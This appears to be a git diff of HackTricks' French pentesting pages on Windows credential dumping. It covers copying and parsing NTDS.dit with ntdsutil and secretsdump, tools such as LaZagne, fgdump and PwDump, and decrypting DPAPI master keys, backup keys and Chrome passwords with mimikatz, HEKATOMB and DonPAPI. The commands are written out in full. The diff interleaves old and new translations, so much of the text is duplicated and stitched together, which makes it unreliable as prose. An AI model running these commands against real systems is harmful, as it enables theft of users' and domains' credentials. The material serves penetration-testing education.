**PEK** a la **même valeur** dans **chaque contrôleur de domaine**, mais il est **chiffré** à l'intérieur du fichier **NTDS.dit** en utilisant le **BOOTKEY** du **fichier SYSTEM du contrôleur de domaine (différent entre les contrôleurs de domaine)**. C'est pourquoi pour obtenir les informations d'identification du fichier NTDS.dit, **vous avez besoin des fichiers NTDS.dit et SYSTEM** (_C:\Windows\System32\config\SYSTEM_).
### Copie de NTDS.dit en utilisant Ntdsutil
@ -239,50 +235,52 @@ Disponible depuis Windows Server 2008.
```bash
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
```
Vous pouvez également utiliser l'astuce de la [**copie de l'ombre de volume**](./#stealing-sam-and-system) pour copier le fichier **ntds.dit**. N'oubliez pas que vous aurez également besoin d'une copie du **fichier SYSTEM** (encore une fois, [**l'extraire du registre ou utiliser l'astuce de la copie de l'ombre de volume**](./#stealing-sam-and-system)).
Vous pourriez également utiliser le tour de passe-passe de la **copie de l'ombre du volume** pour copier le fichier **ntds.dit**. N'oubliez pas que vous aurez également besoin d'une copie du fichier **SYSTEM** (encore une fois, **dump it from the registry or use the volume shadow copy** trick).
### **Extraire les hachages de NTDS.dit**
### **Extraction des hachages depuis NTDS.dit**
Une fois que vous avez **obtenu** les fichiers **NTDS.dit** et **SYSTEM**, vous pouvez utiliser des outils comme _secretsdump.py_ pour **extraire les hachages**:
```bash
secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
```
Vous pouvez également **les extraire automatiquement** en utilisant un utilisateur admin de domaine valide :
Vous pouvez également **les extraire automatiquement** en utilisant un utilisateur administrateur de domaine valide :
```
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
```
### **Extraction d'objets de domaine à partir de NTDS.dit vers une base de données SQLite**
Pour les **grands fichiers NTDS.dit**, il est recommandé de l'extraire en utilisant [gosecretsdump](https://github.com/c-sto/gosecretsdump).
Les objets NTDS peuvent être extraits vers une base de données SQLite avec [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Non seulement les secrets sont extraits, mais également l'ensemble des objets et leurs attributs pour une extraction d'informations plus poussée lorsque le fichier NTDS.dit brut est déjà récupéré.
Enfin, vous pouvez également utiliser le **module metasploit** : _post/windows/gather/credentials/domain\_hashdump_ ou **mimikatz** `lsadump::lsa /inject`
### **Extraction des objets de domaine de NTDS.dit vers une base de données SQLite**
Les objets NTDS peuvent être extraits vers une base de données SQLite avec [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Non seulement les secrets sont extraits, mais aussi l'ensemble des objets et de leurs attributs pour une extraction d'informations supplémentaires lorsque le fichier brut NTDS.dit est déjà récupéré.
```
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
```
```markdown
Le `SYSTEM` hive est optionnel mais permet le déchiffrement de secrets (hashes NT & LM, informations d'identification supplémentaires telles que les mots de passe en clair, les clés kerberos ou de confiance, historiques de mots de passe NT & LM). En plus d'autres informations, les données suivantes sont extraites : comptes utilisateurs et machines avec leurs hashes, indicateurs UAC, horodatage de la dernière connexion et du changement de mot de passe, description des comptes, noms, UPN, SPN, groupes et appartenances récursives, arborescence et appartenance des unités organisationnelles, domaines de confiance avec type, direction et attributs de confiance...
Le ruche `SYSTEM` est facultative mais permet le décryptage des secrets (hachages NT & LM, informations d'identification supplémentaires telles que les mots de passe en clair, les clés Kerberos ou de confiance, historiques de mots de passe NT & LM). En plus d'autres informations, les données suivantes sont extraites : comptes utilisateur et machine avec leurs hachages, indicateurs UAC, horodatage du dernier accès et du changement de mot de passe, descriptions de comptes, noms, UPN, SPN, groupes et adhésions récursives, arborescence des unités organisationnelles et adhésions, domaines de confiance avec type de confiance, direction et attributs...
## Lazagne
Téléchargez le binaire depuis [ici](https://github.com/AlessandroZ/LaZagne/releases). Vous pouvez utiliser ce binaire pour extraire les informations d'identification de plusieurs logiciels.
```
Téléchargez le binaire à partir de [ici](https://github.com/AlessandroZ/LaZagne/releases). Vous pouvez utiliser ce binaire pour extraire des informations d'identification de plusieurs logiciels.
```
lazagne.exe all
```
## Autres outils pour extraire les identifiants de SAM et LSASS
## Autres outils pour extraire des informations d'identification de SAM et LSASS
### Windows credentials Editor (WCE)
### Éditeur de crédentials Windows (WCE)
Cet outil peut être utilisé pour extraire les identifiants de la mémoire. Téléchargez-le depuis : [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
Cet outil peut être utilisé pour extraire des informations d'identification de la mémoire. Téléchargez-le depuis : [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
### fgdump
Extrait les identifiants du fichier SAM
Extraire des informations d'identification du fichier SAM
```
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
```
### PwDump
Extraire les identifiants du fichier SAM
Extraire les informations d'identification du fichier SAM
```
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
@ -290,22 +288,22 @@ type outpwdump
```
### PwDump7
Téléchargez-le depuis : [http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) et **exécutez-le** simplement et les mots de passe seront extraits.
Téléchargez-le depuis: [http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) et **exécutez-le** pour extraire les mots de passe.
## Défenses
[**Apprenez certaines protections des identifiants ici.**](credentials-protections.md)
[**Apprenez-en davantage sur certaines protections des identifiants ici.**](credentials-protections.md)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

484
windows-hardening/windows-local-privilege-escalation/README.md
View file

File diff suppressed because it is too large Load diff

116
windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
View file

@ -4,49 +4,35 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
{% embed url="https://www.rootedcon.com/" %}
En créant ce post, mimikatz avait des problèmes avec chaque action qui interagissait avec DPAPI, donc **la plupart des exemples et des images ont été pris à partir de** : [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)
## Qu'est-ce que DPAPI
Son utilisation principale dans le système d'exploitation Windows est de **réaliser le chiffrement symétrique des clés privées asymétriques**, en utilisant un secret utilisateur ou système comme contribution significative d'entropie.\
**DPAPI permet aux développeurs de chiffrer des clés en utilisant une clé symétrique dérivée des secrets de connexion de l'utilisateur**, ou dans le cas du chiffrement système, en utilisant les secrets d'authentification de domaine du système.
L'API de protection des données (DPAPI) est principalement utilisée dans le système d'exploitation Windows pour le **chiffrement symétrique des clés privées asymétriques**, en utilisant les secrets utilisateur ou système comme source significative d'entropie. Cette approche simplifie le chiffrement pour les développeurs en leur permettant de chiffrer des données à l'aide d'une clé dérivée des secrets de connexion de l'utilisateur ou, pour le chiffrement système, des secrets d'authentification de domaine du système, évitant ainsi aux développeurs de gérer eux-mêmes la protection de la clé de chiffrement.
Cela rend très facile pour le développeur de **sauvegarder des données chiffrées** dans l'ordinateur **sans** avoir besoin de **se soucier** de **protéger** la **clé de chiffrement**.
### Données protégées par DPAPI
### Que protège DPAPI ?
Parmi les données personnelles protégées par DPAPI, on trouve :
DPAPI est utilisé pour protéger les données personnelles suivantes :
- Les mots de passe et les données d'auto-complétion d'Internet Explorer et de Google Chrome
- Les mots de passe de messagerie et de comptes FTP internes pour des applications comme Outlook et Windows Mail
- Les mots de passe pour les dossiers partagés, les ressources, les réseaux sans fil et le coffre Windows, y compris les clés de chiffrement
- Les mots de passe pour les connexions de bureau à distance, le passeport .NET et les clés privées à des fins diverses d'authentification et de chiffrement
- Les mots de passe réseau gérés par le Gestionnaire d'informations d'identification et les données personnelles dans les applications utilisant CryptProtectData, telles que Skype, MSN Messenger, et plus encore
* Mots de passe et données de saisie semi-automatique de formulaires dans Internet Explorer, Google \*Chrome
* Mots de passe de compte de messagerie dans Outlook, Windows Mail, Windows Mail, etc.
* Mots de passe de compte de gestionnaire FTP interne
* Mots de passe d'accès aux dossiers et aux ressources partagées
* Clés de compte et mots de passe de réseau sans fil
* Clé de chiffrement dans Windows CardSpace et Windows Vault
* Mots de passe de connexion à distance, .NET Passport
* Clés privées pour le système de fichiers chiffré (EFS), le chiffrement de courrier S-MIME, les certificats d'autres utilisateurs, SSL/TLS dans les services d'information Internet
* EAP/TLS et 802.1x (authentification VPN et WiFi)
* Mots de passe réseau dans le Gestionnaire d'informations d'identification
* Données personnelles dans toute application protégée de manière programmable avec la fonction d'API CryptProtectData. Par exemple, dans Skype, les services de gestion des droits Windows, Windows Media, MSN messenger, Google Talk, etc.
* ...
{% hint style="info" %}
Un exemple de manière réussie et intelligente de protéger les données en utilisant DPAPI est la mise en œuvre de l'algorithme de chiffrement de mot de passe de saisie semi-automatique dans Internet Explorer. Pour chiffrer le nom d'utilisateur et le mot de passe pour une certaine page web, il appelle la fonction CryptProtectData, où dans le paramètre d'entropie facultatif, il spécifie l'adresse de la page web. Ainsi, à moins de connaître l'URL d'origine où le mot de passe a été saisi, personne, pas même Internet Explorer lui-même, ne peut décrypter ces données.
{% endhint %}
## Liste Vault
```bash
@ -56,16 +42,16 @@ vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
```
## Fichiers d'identification
## Fichiers d'informations d'identification
Les **fichiers d'identification protégés par le mot de passe principal** peuvent être situés dans:
Les **fichiers d'informations d'identification protégés** pourraient être situés dans :
```
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
Obtenez les informations d'identification en utilisant `dpapi::cred` de mimikatz, dans la réponse, vous pouvez trouver des informations intéressantes telles que les données chiffrées et le guidMasterKey.
Obtenez des informations d'identification en utilisant mimikatz `dpapi::cred`, dans la réponse, vous pouvez trouver des informations intéressantes telles que les données chiffrées et le guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -81,7 +67,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
```
## Clés maîtresses
Les clés DPAPI utilisées pour chiffrer les clés RSA de l'utilisateur sont stockées dans le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où {SID} est l'**identificateur de sécurité** de cet utilisateur. **La clé DPAPI est stockée dans le même fichier que la clé maîtresse qui protège les clés privées de l'utilisateur**. Elle est généralement constituée de 64 octets de données aléatoires. (Remarquez que ce répertoire est protégé, vous ne pouvez donc pas le lister en utilisant `dir` depuis le cmd, mais vous pouvez le lister depuis PS).
Les clés DPAPI utilisées pour chiffrer les clés RSA de l'utilisateur sont stockées sous le répertoire `%APPDATA%\Microsoft\Protect\{SID}`, où {SID} est l'[**Identifiant de sécurité**](https://fr.wikipedia.org/wiki/Identifiant\_de\_sécurité) **de cet utilisateur**. **La clé DPAPI est stockée dans le même fichier que la clé maîtresse qui protège les clés privées des utilisateurs**. Elle est généralement composée de 64 octets de données aléatoires. (Remarquez que ce répertoire est protégé, vous ne pouvez pas le lister en utilisant `dir` depuis le cmd, mais vous pouvez le lister depuis PS).
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -90,76 +76,34 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
Voici à quoi ressemblera un ensemble de clés maîtresses d'un utilisateur :
Voici à quoi ressemblera un ensemble de clés principales d'un utilisateur :
![](<../../.gitbook/assets/image (324).png>)
En général, **chaque clé maîtresse est une clé symétrique chiffrée qui peut décrypter d'autres contenus**. Par conséquent, **extraire** la **clé maîtresse chiffrée** est intéressant pour **décrypter** plus tard ce **contenu crypté** avec elle.
Généralement, **chaque clé principale est une clé symétrique chiffrée qui peut décrypter d'autres contenus**. Par conséquent, **extraire** la **clé principale chiffrée** est intéressant pour pouvoir **décrypter** ultérieurement ce **autre contenu** chiffré avec elle.
### Extraire la clé maîtresse et la décrypter
### Extraire la clé principale et décrypter
Dans la section précédente, nous avons trouvé le guidMasterKey qui ressemblait à `3e90dd9e-f901-40a1-b691-84d7f647b8fe`, ce fichier sera à l'intérieur de :
```
C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID>
```
Pour extraire la clé principale avec mimikatz:
```bash
# If you know the users password
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /sid:S-1-5-21-2552734371-813931464-1050690807-1106 /password:123456 /protected
Consultez l'article [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin) pour un exemple de comment extraire la clé principale et la décrypter.
# If you don't have the users password and inside an AD
dpapi::masterkey /in:"C:\Users\<username>\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /rpc
```
La clé maître du fichier apparaîtra dans la sortie.
Enfin, vous pouvez utiliser cette **clé maître** pour **décrypter** le **fichier de crédential** :
```
mimikatz dpapi::cred /in:C:\Users\bfarmer\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 /masterkey:0c0105785f89063857239915037fbbf0ee049d984a09a7ae34f7cfc31ae4e6fd029e6036cde245329c635a6839884542ec97bf640242889f61d80b7851aba8df
```
### Extraire toutes les clés maîtresses locales avec un compte Administrateur
Si vous êtes administrateur, vous pouvez obtenir les clés maîtresses dpapi en utilisant :
```
sekurlsa::dpapi
```
![](<../../.gitbook/assets/image (326).png>)
### Extraire toutes les clés maîtresses de sauvegarde avec un compte Domain Admin
Un compte Domain Admin peut obtenir les clés maîtresses de sauvegarde dpapi qui peuvent être utilisées pour décrypter les clés chiffrées :
```
lsadump::backupkeys /system:dc01.offense.local /export
```
À l'aide de la clé de sauvegarde récupérée, décryptons la clé maître de l'utilisateur `spotless` :
```bash
dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\S-1-5-21-2552734371-813931464-1050690807-1106\3e90dd9e-f901-40a1-b691-84d7f647b8fe" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk
```
Nous pouvons maintenant décrypter les secrets Chrome de l'utilisateur `spotless` en utilisant leur clé maître décryptée :
```
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
```
## Chiffrement et déchiffrement de contenu
Vous pouvez trouver un exemple de chiffrement et de déchiffrement de données avec DPAPI en utilisant Mimikatz et C++ dans [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)\
Vous pouvez trouver un exemple de chiffrement et de déchiffrement de données avec DPAPI en utilisant C# dans [https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection)
## SharpDPAPI
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) est un portage C# de certaines fonctionnalités DPAPI du projet [Mimikatz](https://github.com/gentilkiwi/mimikatz/) de [@gentilkiwi](https://twitter.com/gentilkiwi).
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI#sharpdpapi-1) est un portage en C# de certaines fonctionnalités DPAPI du projet de [@gentilkiwi](https://twitter.com/gentilkiwi) [Mimikatz](https://github.com/gentilkiwi/mimikatz/).
## HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) est un outil qui automatise l'extraction de tous les utilisateurs et ordinateurs du répertoire LDAP et l'extraction de la clé de sauvegarde du contrôleur de domaine via RPC. Le script résoudra ensuite toutes les adresses IP des ordinateurs et effectuera un smbclient sur tous les ordinateurs pour récupérer tous les blobs DPAPI de tous les utilisateurs et tout déchiffrer avec la clé de sauvegarde de domaine.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) est un outil qui automatise l'extraction de tous les utilisateurs et ordinateurs du répertoire LDAP et l'extraction de la clé de sauvegarde du contrôleur de domaine via RPC. Le script résoudra ensuite toutes les adresses IP des ordinateurs et effectuera un smbclient sur tous les ordinateurs pour récupérer tous les blobs DPAPI de tous les utilisateurs et décryptera tout avec la clé de sauvegarde du domaine.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Avec la liste des ordinateurs extraits du répertoire LDAP, vous pouvez trouver tous les sous-réseaux même si vous ne les connaissiez pas !
Avec la liste des ordinateurs extraite du LDAP, vous pouvez trouver chaque sous-réseau même si vous ne les connaissiez pas !
"Parce que les droits d'administrateur de domaine ne suffisent pas. Hackez-les tous."
"Parce que les droits d'administrateur de domaine ne suffisent pas. Piratez-les tous."
## DonPAPI
[**DonPAPI**](https://github.com/login-securite/DonPAPI) peut extraire automatiquement les secrets protégés par DPAPI.
[**DonPAPI**](https://github.com/login-securite/DonPAPI) peut extraire automatiquement des secrets protégés par DPAPI.
## Références
@ -168,7 +112,7 @@ Avec la liste des ordinateurs extraits du répertoire LDAP, vous pouvez trouver
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour **mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
{% embed url="https://www.rootedcon.com/" %}
@ -176,10 +120,10 @@ Avec la liste des ordinateurs extraits du répertoire LDAP, vous pouvez trouver
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>